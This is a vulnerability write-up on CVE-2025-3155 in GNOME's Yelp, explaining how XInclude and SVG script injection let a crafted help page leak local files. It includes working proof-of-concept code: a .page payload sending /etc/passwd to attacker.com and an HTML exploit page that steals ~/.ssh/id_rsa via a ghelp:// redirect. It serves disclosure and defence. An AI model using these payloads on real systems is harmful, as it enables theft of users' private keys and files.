CVE-2025-3155 affects Yelp which is The Gnome's user help application. It's installed by default on Ubuntu desktop.
A URI scheme is the part of a Uniform Resource Identifier (URI) that identifies a protocol or a specific application (steam://run/1337
) that should handle the resource identified by the URI. It's the part that comes before the colon (://
).
/usr/share/applications/yelp.desktop
registers Yelp as the scheme handler of ghelp://
.
I couldn't find many resources about this scheme on the internet. however, I found a sample usage that seemed to be working.
$ yelp ghelp:///usr/share/help/C/gnome-calculator/
The directory listing of /usr/share/help/C/gnome-calculator/
is as follows:
$ ls /usr/share/help/C/gnome-calculator/
absolute.page conv-time.page history.page percentage.page
base.page conv-weight.page index.page power.page
boolean.page equation.page keyboard.page scientific.page
complex.page factorial.page legal.xml superscript.page
conv-base.page factorize.page logarithm.page trigonometry.page
conv-character.page figures modulus.page variables.page
conv-currency.page financial.page mouse.page
conv-length.page functions.page number-display.page
It contains .page
files and a single legal.xml
XML file.
Content of index.page
(simplified):
$ cat /usr/share/help/C/gnome-calculator/index.page
<page xmlns="http://projectmallard.org/1.0/"
xmlns:its="http://www.w3.org/2005/11/its"
type="guide"
id="index">
<info>
...
<title type="link" role="trail">Calculator Help</title>
<title type="text">Calculator Help</title>
...
<include href="legal.xml" xmlns="http://www.w3.org/2001/XInclude" />
</info>
<title>Calculator Help</title>
...
<section id="ui" style="2column">
<title>User Interface</title>
</section>
...
</page>
.page
files are XML files that use the Mallard schema. Each page consists of fields that defines its content, metadata, and how it connects to other pages in the help system.
What’s interesting here is that it uses XInclude to embed the content of legal.xml into the document. This means that XInclude
processing is enabled. Here's a sample .page
file that includes the content of /etc/passwd
.
<?xml version="1.0" encoding="utf-8"?>
<page xmlns="http://projectmallard.org/1.0/" id="index">
<info>
<title type="text">poc</title>
</info>
<section>
<title>
<include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/etc/passwd" />
</title>
</section>
</page>
Yelp uses an XSLT application (yelp-xsl) to transform the .page
file to an HTML file, which will be then rendered by WebKitGtk.
XSLT definition from MDN: XSLT is an XML-based language used, in conjunction with specialized processing software, for the transformation of XML documents. Although the process is referred to as "transformation," the original document is not changed; rather, a new XML document is created based on the content of an existing document. Then, the new document may be serialized (output) by the processor in standard XML syntax or in another format, such as HTML or plain text.
For example, XSLT can be used to insert the content of xpath(//page/info/title)
inside a <div id="title"></div>
in the output.
The goal here is that if we can inject malicious scripts into the output HTML page, we can send the content included via XInclude to a remote server. Simply appending a script tag or a malicious on* attribute in the input XML document won't work since handling these tags is not defined in the yelp-xsl app.
A simple way to get around this is by finding a code in the XSLT app that copies the element and its children to the output without modifying them. One instance of this usage is handling SVG tags in the input document. The app simply copies the <svg>
tag and its content to the output, allowing us to
use a <script>
tag in a <svg>
tag to inject arbitrary scripts.
<?xml version="1.0" encoding="utf-8"?>
<page xmlns="http://projectmallard.org/1.0/" id="index">
<info>
<title type="text">poc</title>
</info>
<section>
<title>
<include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/etc/passwd"/>
</title>
<svg:svg xmlns:svg="http://www.w3.org/2000/svg">
<svg:script>onload=_=>fetch("http://attacker.com/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})</svg:script>
</svg:svg>
</section>
</page>
By appending index.page
to the download folder of victim and then redirecting user to a ghelp URL that points to the download
folder we can execute the attack.
This attack has some limitations:
- Attacker needs to know the unix username of the victim.
- Browsers ask the user for permission on redirects to custom schemes.
However, the initial current working directory (CWD) of applications started by GNOME (e.g., using Alt+F2 or dock shortcuts) is the user's home directory. As a result, the CWD of Chrome and Firefox is also set to the user's home directory. We can abuse this behavior to point to the victim's Downloads folder and bypass the first condition.
Note that this behavior may vary across different distros/environments or depending on how the browser is launched.
PoC for stealing ~/.ssh/id_rsa
(without the knowledge of unix username).
Env info:
Yelp 42.1
Live Ubuntu 22.04.5 LTS - bfd1cee02bc4f35db939e69b934ba49a39a378797ce9aee20f6e3e3e728fefbf
<!DOCTYPE html>
<html>
<head>
<title>poc</title>
<script>
let payloadPage = `
<?xml version="1.0" encoding="utf-8"?>
<page xmlns="http://projectmallard.org/1.0/" id="index">
<info>
<title type="text">poc</title>
</info>
<section>
<title>
<include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/proc/self/cwd/.ssh/id_rsa"/>
</title>
<svg:svg xmlns:svg="http://www.w3.org/2000/svg">
<svg:script>onload=_=>fetch("http://localhost:4000/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})</svg:script>
</svg:svg>
</section>
</page>
`.trim()
function exp(){
const blob = new Blob([payloadPage], { type: 'text/plain' });
const blobURL = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = blobURL;
a.download = 'index.page';
document.body.appendChild(a);
a.click();
location = `ghelp:///proc/self/cwd/Downloads`
}
</script>
</head>
<body>
<button onclick="exp()">Click Here</button>
</body>
</html>
- December 25, 2024: Vulnerability reported on gitlab.gnome.org.
- March 26, 2025: Vulnerability disclosed on gitlab.gnome.org (90-day disclosure deadline).
- April 5, 2025: Article published.
- Do not open untrusted custom-scheme links.
- Gitlab Issue - https://gitlab.gnome.org/GNOME/yelp/-/issues/221
Great example and explanation, thank you for sharing